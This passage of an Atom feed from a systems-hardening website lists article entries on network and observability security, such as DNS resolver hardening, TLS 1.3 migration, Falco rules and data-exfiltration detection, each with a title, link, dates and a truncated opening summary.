    <title>Cloud Network Security Hardening: AWS, GCP, and Azure</title>
    <link href="https://www.systemshardening.com/articles/network/cloud-network-security-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/cloud-network-security-hardening/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Cloud Network Security Hardening: AWS, GCP, and Azure
The Problem
Cloud networks ship with defaults that optimise for getting workloads running, not for limiting blast radius. A fresh AWS VPC has a...</summary>
  </entry>
  
  <entry>
    <title>DNS Resolver Infrastructure Hardening: Recursive Resolvers, DNSSEC, DoT, and Split-Horizon DNS</title>
    <link href="https://www.systemshardening.com/articles/network/dns-resolver-infrastructure-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/dns-resolver-infrastructure-hardening/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>DNS Resolver Infrastructure Hardening: Recursive Resolvers, DNSSEC, DoT, and Split-Horizon DNS
The Problem
Your internal recursive resolver is the most trusted machine in your network that your users...</summary>
  </entry>
  
  <entry>
    <title>802.1X Network Access Control: Wired and Wireless Authentication with RADIUS and EAP-TLS</title>
    <link href="https://www.systemshardening.com/articles/network/dot1x-network-access-control/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/dot1x-network-access-control/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>802.1X Network Access Control: Wired and Wireless Authentication with RADIUS and EAP-TLS
The Problem
Most enterprise networks grant access based on physical port membership or VLAN tag — a device...</summary>
  </entry>
  
  <entry>
    <title>Financial-Grade API (FAPI 2.0) Security: Open Banking, PSD2, and DPoP-Bound Tokens</title>
    <link href="https://www.systemshardening.com/articles/network/financial-grade-api-fapi-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/financial-grade-api-fapi-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Financial-Grade API (FAPI 2.0) Security: Open Banking, PSD2, and DPoP-Bound Tokens
Problem
Standard OAuth 2.0 and OpenID Connect were designed for general-purpose delegation scenarios — a user...</summary>
  </entry>
  
  <entry>
    <title>HTTP/2 Protocol Security Hardening: Framing, HPACK, Stream Multiplexing, and Smuggling</title>
    <link href="https://www.systemshardening.com/articles/network/http2-protocol-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/http2-protocol-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>HTTP/2 Protocol Security Hardening: Framing, HPACK, Stream Multiplexing, and Smuggling
The Problem
HTTP/2 (RFC 7540, succeeded by RFC 9113) solved real HTTP/1.1 bottlenecks: head-of-line blocking,...</summary>
  </entry>
  
  <entry>
    <title>ICMP Security: What to Allow, What to Block, and Detecting ICMP Tunnelling</title>
    <link href="https://www.systemshardening.com/articles/network/icmp-security-tunnelling/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/icmp-security-tunnelling/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>ICMP Security: What to Allow, What to Block, and Detecting ICMP Tunnelling
The Problem
The default security posture for ICMP in many organisations is one of two extremes: either allow everything and...</summary>
  </entry>
  
  <entry>
    <title>Kerberos Network Security Hardening</title>
    <link href="https://www.systemshardening.com/articles/network/kerberos-security-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/kerberos-security-hardening/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Kerberos Network Security Hardening
The Problem
Kerberos is the backbone of authentication in Active Directory environments and a core component of Linux enterprise infrastructure via MIT Kerberos and...</summary>
  </entry>
  
  <entry>
    <title>LDAP and LDAPS Security Hardening for Directory Service Connections</title>
    <link href="https://www.systemshardening.com/articles/network/ldap-ldaps-security-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/ldap-ldaps-security-hardening/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>LDAP and LDAPS Security Hardening for Directory Service Connections
The Problem
LDAP (Lightweight Directory Access Protocol) is the backbone of authentication and authorisation for most enterprise...</summary>
  </entry>
  
  <entry>
    <title>Linkerd Service Mesh Security Hardening</title>
    <link href="https://www.systemshardening.com/articles/network/linkerd-service-mesh-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/linkerd-service-mesh-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Linkerd Service Mesh Security Hardening
The Problem
Every Kubernetes cluster has a large, mostly invisible attack surface: east-west traffic between pods. A single compromised workload — through a...</summary>
  </entry>
  
  <entry>
    <title>NAT Security Implications and CGNAT Risks for Security Monitoring</title>
    <link href="https://www.systemshardening.com/articles/network/nat-cgnat-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/nat-cgnat-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>NAT Security Implications and CGNAT Risks for Security Monitoring
The Problem
Network Address Translation (NAT) was designed to conserve IPv4 addresses, not to provide security. It became a standard...</summary>
  </entry>
  
  <entry>
    <title>Structured Network ACL Design and Management</title>
    <link href="https://www.systemshardening.com/articles/network/network-acl-design-management/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/network-acl-design-management/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Structured Network ACL Design and Management
The Problem
Firewall policy has a natural entropy gradient. When the organization is small, someone adds a rule to allow the new SaaS integration, tickets...</summary>
  </entry>
  
  <entry>
    <title>Network Flow Analysis: NetFlow, sFlow, and IPFIX for Security Monitoring</title>
    <link href="https://www.systemshardening.com/articles/network/network-flow-security-analytics/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/network-flow-security-analytics/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Network Flow Analysis: NetFlow, sFlow, and IPFIX for Security Monitoring
The Problem
Full packet capture (PCAP) is the gold standard for network forensics. It is also prohibitively expensive at any...</summary>
  </entry>
  
  <entry>
    <title>Network Forensics and Secure Packet Capture</title>
    <link href="https://www.systemshardening.com/articles/network/network-forensics-packet-capture/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/network-forensics-packet-capture/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Network Forensics and Secure Packet Capture
The Problem
Flow records tell you that a workstation sent 4 GB to an external IP at 2 a.m. Firewall logs confirm the connection was permitted. But neither...</summary>
  </entry>
  
  <entry>
    <title>Network Microsegmentation Implementation: eBPF, SPIFFE, and Per-Workload Isolation</title>
    <link href="https://www.systemshardening.com/articles/network/network-microsegmentation-implementation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/network-microsegmentation-implementation/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Network Microsegmentation Implementation: eBPF, SPIFFE, and Per-Workload Isolation
The Problem
VLANs were designed to segment broadcast domains. They are a Layer 2 construct: they tell a switch which...</summary>
  </entry>
  
  <entry>
    <title>nf_tables Container Privilege Escalation: Hardening the Kernel&#39;s Highest-Risk Subsystem</title>
    <link href="https://www.systemshardening.com/articles/network/nftables-container-privilege-escalation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/nftables-container-privilege-escalation/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>nf_tables Container Privilege Escalation: Hardening the Kernel’s Highest-Risk Subsystem
The Problem
nf_tables is the modern Linux packet filtering framework — successor to iptables — implemented as a...</summary>
  </entry>
  
  <entry>
    <title>OpenVPN Security Hardening: PKI, Cipher Suites, tls-crypt-v2, and Privilege Separation</title>
    <link href="https://www.systemshardening.com/articles/network/openvpn-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/openvpn-hardening/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>OpenVPN Security Hardening: PKI, Cipher Suites, tls-crypt-v2, and Privilege Separation
The Problem
OpenVPN has been deployed in millions of networks for over two decades. That longevity means it...</summary>
  </entry>
  
  <entry>
    <title>PROXY Protocol and Trusted Proxy Chain Configuration</title>
    <link href="https://www.systemshardening.com/articles/network/proxy-protocol-trusted-chain/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/proxy-protocol-trusted-chain/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>PROXY Protocol and Trusted Proxy Chain Configuration
The Problem
Most production web traffic flows through at least two intermediaries before reaching application code: a cloud load balancer, a CDN...</summary>
  </entry>
  
  <entry>
    <title>SOCKS Proxy Tunnelling Security: Detecting Abuse and Hardening Legitimate Deployments</title>
    <link href="https://www.systemshardening.com/articles/network/socks-proxy-tunnelling-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/socks-proxy-tunnelling-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>SOCKS Proxy Tunnelling Security: Detecting Abuse and Hardening Legitimate Deployments
The Problem
SOCKS5 is a transparent, protocol-agnostic proxy: it forwards raw TCP (and optionally UDP) streams on...</summary>
  </entry>
  
  <entry>
    <title>Passive TLS Fingerprinting with JA3 and JA4 for Network Security Detection</title>
    <link href="https://www.systemshardening.com/articles/network/tls-fingerprinting-ja3-ja4/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/tls-fingerprinting-ja3-ja4/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Passive TLS Fingerprinting with JA3 and JA4 for Network Security Detection
The Problem
Your network carries encrypted TLS traffic. You cannot read the payload — that is the entire point of encryption....</summary>
  </entry>
  
  <entry>
    <title>Migrating to TLS 1.3 and Hardening Cipher Suite Selection Across Web Servers and Load Balancers</title>
    <link href="https://www.systemshardening.com/articles/network/tls13-migration-cipher-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/tls13-migration-cipher-hardening/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Migrating to TLS 1.3 and Hardening Cipher Suite Selection Across Web Servers and Load Balancers
The Problem
TLS 1.2 is not broken the way RC4 is broken, but it remains a persistent source of audit...</summary>
  </entry>
  
  <entry>
    <title>Traefik ForwardAuth Authentication Bypass: CVE-2026-35051</title>
    <link href="https://www.systemshardening.com/articles/network/traefik-forwardauth-bypass/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/traefik-forwardauth-bypass/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Traefik ForwardAuth Authentication Bypass: CVE-2026-35051
The Problem
CVE-2026-35051 (CVSS 8.1, disclosed April 24 2026) is an authentication bypass in Traefik’s ForwardAuth middleware that affects...</summary>
  </entry>
  
  <entry>
    <title>VLAN Security and Trunk Hardening: Defeating VLAN Hopping, DTP Exploitation, and Lateral Movement</title>
    <link href="https://www.systemshardening.com/articles/network/vlan-security-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/vlan-security-hardening/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>VLAN Security and Trunk Hardening: Defeating VLAN Hopping, DTP Exploitation, and Lateral Movement
The Problem
VLANs are the primary segmentation primitive in most enterprise networks. Servers,...</summary>
  </entry>
  
  <entry>
    <title>Wireless Network Security Hardening: WPA3 and Enterprise Wi-Fi</title>
    <link href="https://www.systemshardening.com/articles/network/wireless-network-security-wpa3/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/wireless-network-security-wpa3/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Wireless Network Security Hardening: WPA3 and Enterprise Wi-Fi
The Problem
Wi-Fi is an inherently broadcast medium. Every frame transmitted by an access point or client is receivable by any device...</summary>
  </entry>
  
  <entry>
    <title>Zeek Network Security Monitoring: Protocol Analysis, Threat Detection, and SIEM Integration</title>
    <link href="https://www.systemshardening.com/articles/network/zeek-network-security-monitoring/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/zeek-network-security-monitoring/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Zeek Network Security Monitoring: Protocol Analysis, Threat Detection, and SIEM Integration
The Problem
Firewall logs tell you what was permitted or denied. IDS signatures tell you what matched a...</summary>
  </entry>
  
  <entry>
    <title>Zero Trust Network Access: Replacing VPN with Identity-Aware Proxies</title>
    <link href="https://www.systemshardening.com/articles/network/zero-trust-network-access/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/zero-trust-network-access/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Zero Trust Network Access: Replacing VPN with Identity-Aware Proxies
The Problem
A VPN concentrator, once connected, makes the client a member of an internal IP subnet. The access decision is binary...</summary>
  </entry>
  
  <entry>
    <title>Security Observability for AI Inference Infrastructure: Monitoring Prompt Injection, Model Abuse, and Inference Threats</title>
    <link href="https://www.systemshardening.com/articles/observability/ai-inference-security-observability/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/ai-inference-security-observability/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Security Observability for AI Inference Infrastructure: Monitoring Prompt Injection, Model Abuse, and Inference Threats
Problem
AI inference endpoints are a category of API that existing security...</summary>
  </entry>
  
  <entry>
    <title>Alertmanager Receiver Security: SSRF, API Hardening, and Alert Pipeline Integrity</title>
    <link href="https://www.systemshardening.com/articles/observability/alertmanager-receiver-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/alertmanager-receiver-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Alertmanager Receiver Security: SSRF, API Hardening, and Alert Pipeline Integrity
The Problem
Alertmanager is the routing and notification component of the Prometheus ecosystem — it receives firing...</summary>
  </entry>
  
  <entry>
    <title>API Traffic Security Observability: Monitoring API Behaviour for Security Threats</title>
    <link href="https://www.systemshardening.com/articles/observability/api-security-observability/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/api-security-observability/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>API Traffic Security Observability: Monitoring API Behaviour for Security Threats
Problem
An API gateway publishes excellent aggregate metrics: total request volume, p99 latency, 4xx rates, upstream...</summary>
  </entry>
  
  <entry>
    <title>Cloud Cost Anomaly Detection as a Security Signal: Crypto Mining and Unauthorized Compute</title>
    <link href="https://www.systemshardening.com/articles/observability/cloud-cost-anomaly-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/cloud-cost-anomaly-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Cloud Cost Anomaly Detection as a Security Signal: Crypto Mining and Unauthorized Compute
Problem
Most cloud compromises generate a financial footprint before they generate a security alert. An...</summary>
  </entry>
  
  <entry>
    <title>Container Memory Forensics for Incident Response</title>
    <link href="https://www.systemshardening.com/articles/observability/container-memory-forensics/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/container-memory-forensics/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Container Memory Forensics for Incident Response
Why Memory Matters More Than Disk in Container Incidents
When a container is compromised, the most valuable evidence is rarely on the filesystem....</summary>
  </entry>
  
  <entry>
    <title>Security Considerations for Continuous Profiling with Parca and Pyroscope</title>
    <link href="https://www.systemshardening.com/articles/observability/continuous-profiling-parca-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/continuous-profiling-parca-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Security Considerations for Continuous Profiling with Parca and Pyroscope
Problem
Continuous profiling with Parca and Grafana Pyroscope sits at an unusual intersection: the feature that makes these...</summary>
  </entry>
  
  <entry>
    <title>Detecting Credential Access Attempts: Log Analysis and Runtime Monitoring</title>
    <link href="https://www.systemshardening.com/articles/observability/credential-access-detection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/credential-access-detection/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Detecting Credential Access Attempts: Log Analysis and Runtime Monitoring
Problem
Credential theft is the highest-frequency path to a significant breach. Verizon DBIR consistently places stolen or...</summary>
  </entry>
  
  <entry>
    <title>Detecting Data Exfiltration Through Log Analysis and Network Monitoring</title>
    <link href="https://www.systemshardening.com/articles/observability/data-exfiltration-detection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/data-exfiltration-detection/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Detecting Data Exfiltration Through Log Analysis and Network Monitoring
Problem
Data exfiltration is the final stage of most serious breaches. By the time an attacker starts moving data out, they have...</summary>
  </entry>
  
  <entry>
    <title>Database Activity Monitoring: Audit Logs, SQL Inspection, and SIEM Integration</title>
    <link href="https://www.systemshardening.com/articles/observability/database-activity-monitoring/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/database-activity-monitoring/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Database Activity Monitoring: Audit Logs, SQL Inspection, and SIEM Integration
Problem
Application logs record what the application layer decided to do. Database audit logs record what the database...</summary>
  </entry>
  
  <entry>
    <title>Datadog Security Configuration Hardening</title>
    <link href="https://www.systemshardening.com/articles/observability/datadog-security-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/datadog-security-hardening/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Datadog Security Configuration Hardening
Problem
The Datadog Agent is a privileged process. To do its job — collecting metrics, tailing container logs, tracing application calls, and inspecting...</summary>
  </entry>
  
  <entry>
    <title>Detecting AI-Automated Container Escapes with Runtime Monitoring</title>
    <link href="https://www.systemshardening.com/articles/observability/detecting-ai-automated-container-escapes/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/detecting-ai-automated-container-escapes/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Detecting AI-Automated Container Escapes with Runtime Monitoring
The Problem
Traditional container intrusion detection is calibrated for human attackers: a human penetration tester exploring a...</summary>
  </entry>
  
  <entry>
    <title>Falco Runtime Security: Writing Effective Detection Rules and Deploying Falco Securely</title>
    <link href="https://www.systemshardening.com/articles/observability/falco-security-rules/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/falco-security-rules/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Falco Runtime Security: Writing Effective Detection Rules and Deploying Falco Securely
Problem
Most runtime security monitoring is either too shallow (audit logs only, no syscall visibility) or too...</summary>
  </entry>
  
  <entry>
    <title>File Integrity Monitoring with Falco and AIDE: Detecting Unauthorized File Changes</title>
    <link href="https://www.systemshardening.com/articles/observability/file-integrity-monitoring/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/file-integrity-monitoring/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>File Integrity Monitoring with Falco and AIDE: Detecting Unauthorized File Changes
Problem
File integrity monitoring (FIM) is a mandatory control in PCI DSS 11.5.2 and appears in CIS Controls v8...</summary>
  </entry>
  
  <entry>
    <title>Fluent Bit Security Hardening: Securing Log Collection Pipelines in Kubernetes</title>
    <link href="https://www.systemshardening.com/articles/observability/fluent-bit-security-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/fluent-bit-security-hardening/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Fluent Bit Security Hardening: Securing Log Collection Pipelines in Kubernetes
Problem
Fluent Bit is the dominant lightweight log collector in Kubernetes environments. Its low memory footprint —...</summary>
  </entry>
  
  <entry>
    <title>Kubernetes Events for Security: Detecting Threats Beyond the Audit Log</title>
    <link href="https://www.systemshardening.com/articles/observability/kubernetes-events-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/kubernetes-events-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Kubernetes Events for Security: Detecting Threats Beyond the Audit Log
Problem
Most Kubernetes security monitoring starts and ends with the audit log. The API server audit trail is essential, but it...</summary>
  </entry>
  
  <entry>
    <title>Log Retention Policy, Archival Security, and Compliance-Driven Log Management</title>
    <link href="https://www.systemshardening.com/articles/observability/log-retention-archival-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/log-retention-archival-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Log Retention Policy, Archival Security, and Compliance-Driven Log Management
Problem
Most organisations have logs. Far fewer have a log retention policy — a documented decision about how long...</summary>
  </entry>
  
  <entry>
    <title>mTLS Observability: Monitoring Certificate Health, Detecting Misconfigurations, and Alerting on TLS Failures</title>
    <link href="https://www.systemshardening.com/articles/observability/mtls-certificate-observability/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/mtls-certificate-observability/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>mTLS Observability: Monitoring Certificate Health, Detecting Misconfigurations, and Alerting on TLS Failures
The Observability Gap in mTLS Deployments
Mutual TLS provides strong service-to-service...</summary>
  </entry>
  
  <entry>
    <title>Real-Time Payment Fraud Detection: Velocity Rules, Device Signals, and Behavioral Baselines</title>
    <link href="https://www.systemshardening.com/articles/observability/payment-fraud-detection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/payment-fraud-detection/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Real-Time Payment Fraud Detection: Velocity Rules, Device Signals, and Behavioral Baselines
Problem
A fraudster purchases a batch of stolen card numbers on a dark-web marketplace. Before charging...</summary>
  </entry>
  
  <entry>
    <title>Process Tree Security Analysis: Detecting Attacks Through Process Lineage</title>
    <link href="https://www.systemshardening.com/articles/observability/process-tree-security-analysis/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/process-tree-security-analysis/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Process Tree Security Analysis: Detecting Attacks Through Process Lineage
Problem
Individual process events are nearly useless as security signals. bash executes thousands of times per hour on any...</summary>
  </entry>
  
  <entry>
    <title>Runtime Application Self-Protection (RASP): In-Process Security Monitoring and Blocking</title>
    <link href="https://www.systemshardening.com/articles/observability/runtime-application-self-protection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/runtime-application-self-protection/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Runtime Application Self-Protection (RASP): In-Process Security Monitoring and Blocking
Problem
A Web Application Firewall (WAF) inspects HTTP traffic at the network boundary. It sees raw bytes: an...</summary>
  </entry>
  
  <entry>
    <title>Advanced Security Event Correlation: EQL Sequences, Entity Graphs, and Automated Response</title>
    <link href="https://www.systemshardening.com/articles/observability/security-event-correlation-advanced/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/security-event-correlation-advanced/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Advanced Security Event Correlation: EQL Sequences, Entity Graphs, and Automated Response
Problem
The attacker lands on a web server through a supply-chain dependency vulnerability. A reverse shell...</summary>
  </entry>
  
  <entry>
    <title>Security SLIs and Error Budgets: Measuring Posture with SRE Discipline</title>
    <link href="https://www.systemshardening.com/articles/observability/security-sli-error-budget/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/security-sli-error-budget/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Security SLIs and Error Budgets: Measuring Posture with SRE Discipline
Problem
Security posture is usually described in terms of activity: vulnerabilities patched, scans run, audits completed....</summary>
  </entry>
  
  <entry>
    <title>Serverless Security Observability: AWS Lambda, GCP Cloud Functions, Azure Functions</title>
    <link href="https://www.systemshardening.com/articles/observability/serverless-security-observability/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/serverless-security-observability/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Serverless Security Observability: AWS Lambda, GCP Cloud Functions, Azure Functions
Problem
Serverless and Function-as-a-Service (FaaS) workloads fundamentally break the assumptions that most security...</summary>
  </entry>
  
  <entry>
    <title>Splunk Security Hardening: Authentication, RBAC, TLS, and Audit Logging</title>
    <link href="https://www.systemshardening.com/articles/observability/splunk-security-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/splunk-security-hardening/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Splunk Security Hardening: Authentication, RBAC, TLS, and Audit Logging
Problem
Splunk is the single most sensitive system in many security operations environments. It aggregates firewall logs,...</summary>
  </entry>
  
  <entry>
    <title>Synthetic Monitoring as a Security Tool: Blackbox Exporter, Certificate Probes, and Tamper Detection</title>
    <link href="https://www.systemshardening.com/articles/observability/synthetic-monitoring-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/synthetic-monitoring-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Synthetic Monitoring as a Security Tool: Blackbox Exporter, Certificate Probes, and Tamper Detection
Problem
Synthetic monitoring is usually framed as an uptime problem: “is the site reachable?” But...</summary>
  </entry>
  
  <entry>
    <title>Securing Distributed Tracing Infrastructure: Grafana Tempo and Jaeger</title>
    <link href="https://www.systemshardening.com/articles/observability/tempo-jaeger-tracing-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/tempo-jaeger-tracing-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Securing Distributed Tracing Infrastructure: Grafana Tempo and Jaeger
Problem
Distributed tracing infrastructure exists to help engineering teams understand the runtime behaviour of production...</summary>
  </entry>
  
  <entry>
    <title>Securing Multi-Tenant Prometheus Deployments with Thanos</title>
    <link href="https://www.systemshardening.com/articles/observability/thanos-prometheus-multitenancy-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/thanos-prometheus-multitenancy-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Securing Multi-Tenant Prometheus Deployments with Thanos
Problem
A single Prometheus instance per Kubernetes cluster is the default starting point for most platform teams. It works until you have...</summary>
  </entry>
  
  <entry>
